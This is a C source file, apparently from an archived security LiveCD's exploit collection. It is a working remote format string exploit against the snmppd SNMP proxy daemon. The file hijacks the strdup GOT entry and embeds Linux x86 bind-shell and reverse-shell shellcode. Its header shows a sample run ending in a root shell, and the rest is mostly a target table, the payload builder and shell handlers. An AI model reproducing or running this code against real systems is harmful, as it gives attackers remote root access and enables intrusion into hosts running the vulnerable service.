home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / snmp / snmppd.c < prev    next >
C/C++ Source or Header  |  2005-05-06  |  14KB  |  580 lines
  1. /*
  2. * Snmppd SNMP proxy daemon format string exploit
  3. *
  4. * cybertronic[at]gmx[dot]net 
  5. *
  6. * 04/29/2005
  7. *
  8. * buffer space is 1024 bytes 
  9. * (MAX_SNMPPD_OID_LEN defined in snmppd-0.4.5/snmppd.h )
  10. *
  11. * Apr 29 16:01:31 ctronic snmppd[6274]: fd 5: Request: 
  12. * XAAAA_804a81e.bfffb9d4.0.0.0.0.35206466.6552203a.
  13. * 73657571.58203a74.41414141
  14. *
  15. * This is annoying... there is no fixed input storage.
  16. * Buffer`s location sometimes varies for 0x980 bytes.
  17. * Below is a short dump. I highjacked the GOT entry
  18. * of strdup. Maybe there are some fixed pointers for
  19. * reliable exploitation. Drop me an email if you have
  20. * any suggestions
  21. *
  22. *
  23. * __strdup
  24. *
  25. * 0xbfffb450: 0x906e6824 0x90909090 0x90909090 0x90909090
  26. * 0xbfffb460: 0x90909090 0x90909090 0x90909090 0x90909090
  27. * 0xbfffb470: 0x90909090 0x90909090 0x90909090 0x90909090
  28. *
  29. * 0xbfffb3d0: 0x906e6824 0x90909090 0x90909090 0x90909090
  30. * 0xbfffb3e0: 0x90909090 0x90909090 0x90909090 0x90909090
  31. * 0xbfffb3f0: 0x90909090 0x90909090 0x90909090 0x90909090
  32. *
  33. * 0xbfffb6d0: 0x906e6824 0x90909090 0x90909090 0x90909090
  34. * 0xbfffb6e0: 0x90909090 0x90909090 0x90909090 0x90909090
  35. * 0xbfffb6f0: 0x90909090 0x90909090 0x90909090 0x90909090
  36. *
  37. * 0xbfffbdd0: 0x906e6824 0x90909090 0x90909090 0x90909090
  38. * 0xbfffbde0: 0x90909090 0x90909090 0x90909090 0x90909090
  39. * 0xbfffbdf0: 0x90909090 0x90909090 0x90909090 0x90909090
  40. *
  41. * 0xbfffc750: 0x906e6824 0x90909090 0x90909090 0x90909090
  42. * 0xbfffc760: 0x90909090 0x90909090 0x90909090 0x90909090
  43. * 0xbfffc770: 0x90909090 0x90909090 0x90909090 0x90909090
  44. *
  45. * 0804b1a0 R_386_JUMP_SLOT malloc
  46. * 0804b210 R_386_JUMP_SLOT memset
  47. * 0804b1fc R_386_JUMP_SLOT __strdup
  48. *
  49. * I succeeded on my third try with the same ret:
  50. *
  51. * __ __ _
  52. * _______ __/ /_ ___ _____/ /__________ ____ (_)____
  53. * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
  54. * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
  55. * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
  56. * /____/
  57. * 
  58. * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
  59. * --[ connecting to localhost:164...done!
  60. * --[ select shellcode
  61. * |
  62. * |- [0] bind
  63. * `- [1] cb
  64. * >> 0
  65. * --[ using bind shellcode
  66. * --[ GOT: 0x0804b1fc
  67. * --[ RET: 0xbfffc750
  68. * --[ sending packet [ 1023 bytes ]...done!
  69. * --[ sleeping 5 seconds before connecting to localhost:20000...
  70. * --[ connecting to localhost:20000...done!
  71. * --[ b0x pwned - h4ve phun
  72. * id
  73. * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
  74. * 6(disk),10(wheel)
  75. *
  76. *
  77. */
  78.  
  79. #include <stdio.h>
  80. #include <sys/socket.h>
  81. #include <netinet/in.h>
  82. #include <netdb.h>
  83. #include <unistd.h>
  84.  
  85. #define NOP 0x90
  86.  
  87. #define RED "\E[31m\E[1m"
  88. #define GREEN "\E[32m\E[1m"
  89. #define YELLOW "\E[33m\E[1m"
  90. #define BLUE "\E[34m\E[1m"
  91. #define NORMAL "\E[m"
  92.  
  93. int connect_to_remote_host ( char* tip, unsigned short tport );
  94. int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip );
  95. int isip ( char *ip );
  96. int shell ( int s, char* tip );
  97. int usage ( char* name );
  98.  
  99. void start_reverse_handler ( unsigned short cbport );
  100. void connect_to_bindshell ( char* tip, unsigned short bport );
  101. void header ();
  102. void wait ( int sec );
  103.  
  104. /***********************
  105. * Linux x86 Shellcode *
  106. ***********************/
  107.  
  108. //131 bytes connect back port: 45295
  109. char reverseshell[] =
  110. "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  111. "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  112. "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  113. "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  114. "\x68\x41\x42\x43\x44\x66\x68\xb0"
  115. "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
  116. "\x10\x53\x57\x52\x89\xe1\xb3\x03"
  117. "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  118. "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  119. "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  120. "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
  121. "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  122. "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
  123. "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  124. "\x2f\x62\x69\x89\xe3\x50\x53\x89"
  125. "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  126. "\x01\xcd\x80";
  127.  
  128. //92 bytes bindcode port: 20000
  129. char bindshell[] =
  130. "\x31\xdb" // xor ebx, ebx
  131. "\xf7\xe3" // mul ebx
  132. "\xb0\x66" // mov al, 102
  133. "\x53" // push ebx
  134. "\x43" // inc ebx
  135. "\x53" // push ebx
  136. "\x43" // inc ebx
  137. "\x53" // push ebx
  138. "\x89\xe1" // mov ecx, esp
  139. "\x4b" // dec ebx
  140. "\xcd\x80" // int 80h
  141. "\x89\xc7" // mov edi, eax
  142. "\x52" // push edx
  143. "\x66\x68\x4e\x20" // push word 8270
  144. "\x43" // inc ebx
  145. "\x66\x53" // push bx
  146. "\x89\xe1" // mov ecx, esp
  147. "\xb0\xef" // mov al, 239
  148. "\xf6\xd0" // not al
  149. "\x50" // push eax
  150. "\x51" // push ecx
  151. "\x57" // push edi
  152. "\x89\xe1" // mov ecx, esp
  153. "\xb0\x66" // mov al, 102
  154. "\xcd\x80" // int 80h
  155. "\xb0\x66" // mov al, 102
  156. "\x43" // inc ebx
  157. "\x43" // inc ebx
  158. "\xcd\x80" // int 80h
  159. "\x50" // push eax
  160. "\x50" // push eax
  161. "\x57" // push edi
  162. "\x89\xe1" // mov ecx, esp
  163. "\x43" // inc ebx
  164. "\xb0\x66" // mov al, 102
  165. "\xcd\x80" // int 80h
  166. "\x89\xd9" // mov ecx, ebx
  167. "\x89\xc3" // mov ebx, eax
  168. "\xb0\x3f" // mov al, 63
  169. "\x49" // dec ecx
  170. "\xcd\x80" // int 80h
  171. "\x41" // inc ecx
  172. "\xe2\xf8" // loop lp
  173. "\x51" // push ecx
  174. "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
  175. "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
  176. "\x89\xe3" // mov ebx, esp
  177. "\x51" // push ecx
  178. "\x53" // push ebx
  179. "\x89\xe1" // mov ecx, esp
  180. "\xb0\xf4" // mov al, 244
  181. "\xf6\xd0" // not al
  182. "\xcd\x80"; // int 80h
  183.  
  184. typedef struct _args {
  185. char* tip;
  186. char* lip;
  187. int tport;
  188. int target;
  189. } args;
  190.  
  191. struct targets {
  192. int num;
  193. unsigned long smashaddr;
  194. unsigned long writeaddr;
  195. char name[64];
  196. }
  197.  
  198. target[]= {
  199. { 0, 0x0804b1fc, 0xbfffb3d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, 
  200. //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
  201. { 1, 0x0804b1fc, 0xbfffb6d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, 
  202. //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
  203. { 2, 0x0804b1fc, 0xbfffbde0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, 
  204. //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
  205. { 3, 0x0804b1fc, 0xbfffc750, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, 
  206. //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
  207. { 4, 0xdeadc0de, 0xdeadc0de, "description" }, //add more targets if needed
  208. };
  209.  
  210. int
  211. connect_to_remote_host ( char* tip, unsigned short tport )
  212. {
  213. int s;
  214. struct sockaddr_in remote_addr;
  215. struct hostent* host_addr;
  216.  
  217. memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
  218. if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
  219. {
  220. printf ( "cannot resolve \"%s\"\n", tip );
  221. exit ( 1 );
  222. }
  223. remote_addr.sin_family = AF_INET;
  224. remote_addr.sin_port = htons ( tport );
  225. remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
  226. if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
  227. {
  228. printf ( "socket failed!\n" );
  229. exit ( 1 );
  230. }
  231. printf ( "--[ connecting to %s:%u...", tip, tport );
  232. if ( connect ( s, ( struct sockaddr * ) &remote_addr, 
  233. sizeof ( struct sockaddr ) ) == -1 )
  234. {
  235. printf ( "failed!\n" );
  236. exit ( 1 );
  237. }
  238. printf ( "done!\n" );
  239. return ( s );
  240. }
  241.  
  242. int
  243.  
  244. exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip )
  245. {
  246. char buffer[1024];
  247. char a, b, c, d;
  248. unsigned int low, high;
  249. unsigned long ulcbip;
  250.  
  251. printf ( "--[ GOT: 0x%08x\n", smashaddr );
  252. printf ( "--[ RET: 0x%08x\n", writeaddr );
  253.  
  254. a = ( smashaddr & 0xff000000 ) >> 24;
  255. b = ( smashaddr & 0x00ff0000 ) >> 16;
  256. c = ( smashaddr & 0x0000ff00 ) >> 8;
  257. d = ( smashaddr & 0x000000ff );
  258.  
  259. high = ( writeaddr & 0xffff0000 ) >> 16;
  260. low = ( writeaddr & 0x0000ffff );
  261.  
  262. bzero ( &buffer, sizeof ( buffer ) );
  263. if ( high < low )
  264. {
  265. sprintf ( buffer,
  266. "X%c%c%c%c"
  267. "%c%c%c%c"
  268. "%%.%uu%%11$hn"
  269. "%%.%uu%%12$hn",
  270.  
  271. d + 2, c, b, a,
  272. d, c, b, a,
  273. high - 24,
  274. low - high );
  275. }
  276. else
  277. {
  278. sprintf ( buffer,
  279. "X%c%c%c%c"
  280. "%c%c%c%c"
  281. "%%.%uu%%12$hn"
  282. "%%.%uu%%11$hn",
  283.  
  284. d + 2, c, b, a,
  285. d, c, b, a,
  286. low -24,
  287. high - low );
  288. }
  289. memset ( buffer + strlen ( buffer ), NOP, sizeof 
  290. ( buffer ) - strlen ( buffer ) - 3 );
  291. if ( cbip == NULL )
  292. memcpy ( buffer + sizeof ( buffer ) - sizeof 
  293. ( bindshell ) - 3, bindshell, sizeof ( bindshell ) -1 );
  294. else
  295. {
  296. ulcbip = inet_addr ( cbip );
  297. memcpy ( &reverseshell[33], &ulcbip, 4 );
  298. memcpy ( buffer + sizeof ( buffer ) - sizeof ( reverseshell ) 
  299. - 3, reverseshell, sizeof ( reverseshell ) -1 );
  300. }
  301. strncat ( buffer, "\r\n", 2 );
  302.  
  303. printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
  304. if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
  305. {
  306. printf ( "failed!\n" );
  307. return ( 1 );
  308. }
  309. printf ( "done!\n" );
  310.  
  311. return ( 0 );
  312. }
  313.  
  314. int
  315. isip ( char *ip )
  316. {
  317. int a, b, c, d;
  318.  
  319. if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
  320. return ( 0 );
  321. if ( a < 1 )
  322. return ( 0 );
  323. if ( a > 255 )
  324. return 0;
  325. if ( b < 0 )
  326. return 0;
  327. if ( b > 255 )
  328. return 0;
  329. if ( c < 0 )
  330. return 0;
  331. if ( c > 255 )
  332. return 0;
  333. if ( d < 0 )
  334. return 0;
  335. if ( d > 255 )
  336. return 0;
  337. return 1;
  338. }
  339.  
  340. int
  341. shell ( int s, char* tip )
  342. {
  343. int n;
  344. char buffer[2048];
  345. fd_set fd_read;
  346.  
  347. printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w"
  348. NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v"
  349. YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
  350.  
  351. FD_ZERO ( &fd_read );
  352. FD_SET ( s, &fd_read );
  353. FD_SET ( 0, &fd_read );
  354.  
  355. while ( 1 )
  356. {
  357. FD_SET ( s, &fd_read );
  358. FD_SET ( 0, &fd_read );
  359.  
  360. if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
  361. break;
  362. if ( FD_ISSET ( s, &fd_read ) )
  363. {
  364. if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
  365. {
  366. printf ( "bye bye...\n" );
  367. return;
  368. }
  369. if ( write ( 1, buffer, n ) < 0 )
  370. {
  371. printf ( "bye bye...\n" );
  372. return;
  373. }
  374. }
  375. if ( FD_ISSET ( 0, &fd_read ) )
  376. {
  377. if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
  378. {
  379. printf ( "bye bye...\n" );
  380. return;
  381. }
  382. if ( send ( s, buffer, n, 0 ) < 0 )
  383. {
  384. printf ( "bye bye...\n" );
  385. return;
  386. }
  387. }
  388. usleep(10);
  389. }
  390. }
  391.  
  392. int
  393. usage ( char* name )
  394. {
  395. int i;
  396.  
  397. printf ( "\n" );
  398. printf ( "Note: all switches have to be specified!\n" );
  399. printf ( "You can choose between bind and cb shellcode later!\n" );
  400. printf ( "\n" );
  401. printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -t <target>\n", name );
  402. printf ( "\n" );
  403. printf ( "Targets\n\n" );
  404. for ( i = 0; i < 5; i++ )
  405. printf ( "\t[%d] [0x%08x] [0x%08x] [%s]\n", target[i].num, 
  406. target[i].smashaddr, target[i].writeaddr, target[i].name );
  407. printf ( "\n" );
  408. exit ( 1 );
  409. }
  410.  
  411. void
  412. connect_to_bindshell ( char* tip, unsigned short bport )
  413. {
  414. int s;
  415. int sec = 5; // change this for fast targets
  416. struct sockaddr_in remote_addr;
  417. struct hostent *host_addr;
  418.  
  419. if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
  420. {
  421. fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
  422. exit ( 1 );
  423. }
  424.  
  425. remote_addr.sin_family = AF_INET;
  426. remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
  427. remote_addr.sin_port = htons ( bport );
  428.  
  429. if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
  430. {
  431. printf ( "socket failed!\n" );
  432. exit ( 1 );
  433. }
  434. printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
  435. wait ( sec );
  436. printf ( "--[ connecting to %s:%u...", tip, bport );
  437. if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
  438. {
  439. printf ( RED "failed!\n" NORMAL);
  440. exit ( 1 );
  441. }
  442. printf ( YELLOW "done!\n" NORMAL);
  443. shell ( s, tip );
  444. }
  445.  
  446. void
  447. header ()
  448. {
  449. printf ( " __ __ _ \n" );
  450. printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
  451. printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
  452. printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
  453. printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
  454. printf ( " /____/ \n\n" );
  455. printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
  456. }
  457.  
  458. void
  459. parse_arguments ( int argc, char* argv[], args* argp )
  460. {
  461. int i = 0;
  462.  
  463. while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 )
  464. {
  465. switch ( i )
  466. {
  467. case 'h':
  468. argp->tip = optarg;
  469. break;
  470. case 'p':
  471. argp->tport = atoi ( optarg );
  472. break;
  473. case 'l':
  474. argp->lip = optarg;
  475. break;
  476. case 't':
  477. argp->target = strtoul ( optarg, NULL, 16 );
  478. break;
  479. case ':':
  480. case '?':
  481. default:
  482. usage ( argv[0] );
  483. }
  484. }
  485.  
  486. if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 
  487. || argp->lip == NULL || argp->target < 0 || argp->target > 4 )
  488. usage ( argv[0] );
  489. }
  490.  
  491. void
  492. start_reverse_handler ( unsigned short cbport )
  493. {
  494. int s1, s2;
  495. struct sockaddr_in cliaddr, servaddr;
  496. socklen_t clilen = sizeof ( cliaddr );
  497.  
  498. bzero ( &servaddr, sizeof ( servaddr ) );
  499. servaddr.sin_family = AF_INET;
  500. servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
  501. servaddr.sin_port = htons ( cbport );
  502.  
  503. printf ( "--[ starting reverse handler [port: %u]...", cbport );
  504. if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
  505. {
  506. printf ( "socket failed!\n" );
  507. exit ( 1 );
  508. }
  509. bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
  510. if ( listen ( s1, 1 ) == -1 )
  511. {
  512. printf ( "listen failed!\n" );
  513. exit ( 1 );
  514. }
  515. printf ( "done!\n" );
  516. if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
  517. {
  518. printf ( "accept failed!\n" );
  519. exit ( 1 );
  520. }
  521. close ( s1 );
  522. printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
  523. shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) );
  524. close ( s2 );
  525. }
  526.  
  527. void
  528. wait ( int sec )
  529. {
  530. sleep ( sec );
  531. }
  532.  
  533. int
  534. main ( int argc, char* argv[] )
  535. {
  536. int s, option;
  537. args myargs;
  538.  
  539. system ( "clear" );
  540. header ();
  541. parse_arguments ( argc, argv, &myargs );
  542. s = connect_to_remote_host ( myargs.tip, myargs.tport );
  543.  
  544. printf ( "--[ select shellcode\n" );
  545. printf ( " |\n" );
  546. printf ( " |- [0] bind\n" );
  547. printf ( " `- [1] cb\n" );
  548. printf ( ">> " );
  549. scanf ( "%d", &option );
  550. switch ( option )
  551. {
  552. case 0:
  553. printf ( "--[ using bind shellcode\n" );
  554. if ( exploit ( s, target[myargs.target].smashaddr, 
  555. target[myargs.target].writeaddr, NULL ) == 1 )
  556. {
  557. printf ( "exploitation failed!\n" );
  558. exit ( 1 );
  559. }
  560. connect_to_bindshell ( myargs.tip, 20000 );
  561. break;
  562. case 1:
  563. printf ( "--[ using cb shellcode\n" );
  564. if ( exploit ( s, target[myargs.target].smashaddr, 
  565. target[myargs.target].writeaddr, myargs.lip ) == 1 )
  566. {
  567. printf ( "exploitation failed!\n" );
  568. exit ( 1 );
  569. }
  570. start_reverse_handler ( 45295 );
  571. break;
  572. default:
  573. printf ( "--[ invalid shellcode!\n" ); exit ( 1 );
  574. }
  575. close ( s );
  576. return 0;
  577. }
  578.  
  579. Integration
  580.